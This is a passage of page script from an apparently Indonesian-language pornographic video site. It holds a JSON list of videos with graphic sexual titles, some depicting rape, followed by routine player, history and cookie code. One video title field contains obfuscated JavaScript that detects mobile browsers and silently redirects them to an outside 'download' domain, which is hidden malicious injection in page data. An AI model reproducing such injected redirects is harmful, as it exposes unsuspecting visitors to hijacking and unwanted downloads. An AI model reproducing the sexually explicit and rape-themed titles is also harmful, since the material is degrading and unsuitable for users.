Paman yang Dirasuki dalam Fujimori Riho: Seorang Wanita Berpayudara Besar yang Mendominasi Bisnis, Bercinta Menggantikan Pacarnya DASS-572-C","lastmod":"2026-07-11","duration":"01:59:31","url":"/play/19164314.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzZhYjJhNmY1MGQ4YWMyMGJjODNhOWUxZDA4NGYxMWUuanBn.cache","vod_id":19140473,"title":"Dewi Korea aerri_lee2","lastmod":"2026-01-27","duration":"03:01:23","url":"/play/19140473.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjUvZmIyY2QwNTc3YTk1YzMzMjk1NjU5NDUwNThlMzIwMjYuanBn.cache","vod_id":19039374,"title":"DFE099 Erupsi Seksual Udang Busur Orgasme Salon","lastmod":"2025-06-24","duration":"01:56:08","url":"/play/19039374.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjMwYTAxYjljYTM1NmNhNmViNjAzZTRmNTNhMDRhNWIuanBn.cache","vod_id":19155094,"title":"Selebriti internet berpayudara besar, seksi dan menggairahkan, sedang mandi susu, vagina tanpa bulu yang mengeluarkan susu.","lastmod":"2026-04-25","duration":"09:08","url":"/play/19155094.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTRjNzY0NTEwZGNkOGYxZmE2NWQ2ZGQxMWM1ZDliNDMuanBn.cache","vod_id":18994594,"title":"JUL-079 Madonna Eksklusif MUTEKI Wanita Dewasa Cantik!! Diam-diam dan intens menggeliat dalam kekacauan!!","lastmod":"2025-12-14","duration":"01:58:29","url":"/play/18994594.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MTIvMzNiMTQyNzViMmFjOWE2NWUwYmIxMmQyYjVmYjNiMmQuanBn.cache","vod_id":19033189,"title":"Adikku dan teman-temannya sangat seksi sampai membuatku tergila-gila! Mereka punya rambut dikepang dua berwarna cokelat dan payudara besar yang bergoyang-goyang! ? Kisah tentang teman adikku yang menggemaskan, Riko.","lastmod":"2025-05-12","duration":"29:36","url":"/play/19033189.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGZlMjc0MTA2MTA2ODU1MGU3ZGMyZTEyMjhmM2RiYWUuanBn.cache","vod_id":18934594,"title":"Seorang pewaris kaya generasi kedua mengendarai BMW mewah saat berkencan dengan seorang wanita muda bertato dan elegan, terlibat dalam seks di dalam mobil kelas atas, termasuk memakan permen meletup dan seks oral, dengan tokoh utama pria mengerang dan memberikan seks oral.","lastmod":"2025-12-14","duration":"00:05:33","url":"/play/18934594.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjkvNWVmNmJmOGU0NGMwZmZiMjUwZWE1OWFhNTJhZjI2Y2MuanBn.cache","vod_id":19055047,"title":"Wanita dewasa cantik melakukan hubungan seks anal dengan 20 pria selama 4 jam. Aktris tidak dikenal. CVDX596","lastmod":"2025-09-28","duration":"04:04:03","url":"/play/19055047.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MzAvMTkyYWRiODJjZWM5OGNjZDA3ZDE3MzA2OTk0Zjg0NmMuanBn.cache","vod_id":19044790,"title":"Tetangga saya yang polos dan lugu seperti harimau putih membawa saya ke tempat penyewaan mobil terdekat dan memberi saya seks oral dari atas, yang kemudian sepenuhnya saya taklukkan.","lastmod":"2025-07-29","duration":"09:22","url":"/play/19044790.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjkzZDU0MTMzNGU3NDhiNTZiNTM4ODNiNGU4NDI3YmIuanBn.cache","vod_id":19164036,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Set Cermin Ajaib Edisi Bank Jika Anda mengenakan ini, \"keberadaan\" Anda akan \"diabaikan,\" dan Anda dapat berhubungan seks sesuka Anda. Honda Hitomi, Uesaka Mei Depps","lastmod":"2026-07-11","duration":"02:45:17","url":"/play/19164036.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTQyNGVmMzJhN2U1ZDlkOTkxNmNiMmE2Y2QwZjUyMTYuanBn.cache","vod_id":18991104,"title":"Seorang pembawa berita wanita berambut pirang asal Korea Selatan merenggangkan kakinya di atas ranjang dan meraba-raba dirinya sendiri melalui pakaian dalamnya.","lastmod":"2025-12-14","duration":"45:31","url":"/play/18991104.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDViMmZhY2JjZjVlMWZlNTdhMTk5NzVkMTNlY2UzNTUuanBn.cache","vod_id":18957457,"title":"Jelly Media 91CM-196 Taruhan Wanita Muda - Wang Rong","lastmod":"2025-03-22","duration":"00:48:36","url":"/play/18957457.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmQ1YzMxMTMxN2NmYTE0ODk5ZGY0Y2I0MTQyNzU4N2MuanBn.cache","vod_id":18955689,"title":"\"Bom Nuklir Kelas Berat✅Sumber Daya Langka\" Manfaat eksklusif untuk VIP di Grup Berbayar Curious Tribe~ Delapan anggota CDTS berkualitas tinggi memamerkan wajah mereka dalam berbagai swafoto cabul, masing-masing merupakan mahakarya yang paling memahami pria - Cat Not Easy 2","lastmod":"2025-12-14","duration":"00:01:17","url":"/play/18955689.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjJmOTlkOWFlNDFjNmU1NDk1MzZkMjRkNmMyYjY0NjQuanBn.cache","vod_id":19160795,"title":"Zhao Tanhua mengatur untuk berhubungan seks dengan wanita muda yang belum menikah.","lastmod":"2026-05-30","duration":"31:50","url":"/play/19160795.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNGRiYWFhODM3YTYxZjQwZGNjYTM4NWQ3OWIzNDZiODIuanBn.cache","vod_id":19143780,"title":"Selebriti internet seksi papan atas, Mai Shiranui, melakukan cosplay dengan bikini merah muda.","lastmod":"2026-02-16","duration":"19:08","url":"/play/19143780.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTU3Yzg4NjBmN2NlY2JjNWY1ODJhMmVkYzM3MzA5MzkuanBn.cache","vod_id":18949127,"title":"[Gadis 19 tahun] Gadis Jiangsu dengan payudara putih seperti harimau dan payudara super besar ✨✨✨ berkulit cerah dan montok, wajah terbuka, siapa pun yang bisa meniduri vagina ini akan sangat bahagia (6)","lastmod":"2025-12-14","duration":"00:07:31","url":"/play/18949127.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjhiNGNjNTIwYzk1YzE0MzkzOTZmNjI0NGE3NDNlM2UuanBn.cache","vod_id":19016248,"title":"NINE015 [Rilis Perdana Jepang] Daging Premium Kelas A5 Terungkap! Shizuku-san adalah pengasuh baru yang seksi dan frustrasi yang saya temui di forum pesan amatir.","lastmod":"2025-03-24","duration":"02:18:53","url":"/play/19016248.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTU0ZDE0NjkwZTk0ODk5YjE5MTdjYjhmMzViM2JkYTYuanBn.cache","vod_id":19000807,"title":"Gadis kulit putih berpayudara besar terseksi di Jepang dan kencannya yang berbahaya.","lastmod":"2025-03-23","duration":"02:00:03","url":"/play/19000807.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTU1YTAyOWUwMDRlNDAyYzc5ZmZhMTg0YWFjMDdjNTEuanBn.cache","vod_id":19025145,"title":"Lagu \"Gang Rape Frenzy\" dari SHKD856 menargetkan presenter wanita baru, Akari Tsumugi.","lastmod":"2025-03-24","duration":"01:58:04","url":"/play/19025145.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2U4NTdhZjlhZGIyNzE4Mjk2MGUxOTYwNzU4YTUzOTEuanBn.cache","vod_id":18969387,"title":"Seperti pasangan pengantin baru! 【Ke Mana Perginya Kecantikan Itu?】Setiap hari, mereka benar-benar asyik bercinta~✨✨✨Kehidupan sehari-hari pasangan muda yang tak tahu malu ini~ Peri dengan gaya rambut sanggul, kulit putih dan wajah cantik_20220809_020109","lastmod":"2025-03-23","duration":"00:40:45","url":"/play/18969387.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzZmNjgwNTZiNzhlNGIwZmUzNTE3NjkxZjQwZWFkYWEuanBn.cache","vod_id":18937807,"title":"Seorang selebriti internet bertubuh seksi bernama Qili Hailan dari sebuah platform video pendek berkeliling dari rumah ke rumah menjual kondom dan secara proaktif menggunakan payudaranya yang besar untuk melakukan seks puting pada pelanggannya.","lastmod":"2025-12-14","duration":"00:19:49","url":"/play/18937807.html"}]},
videoTitle: 'Presenter Korea, wanita dewasa seksi seperti harimau putih, selfie seksi.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}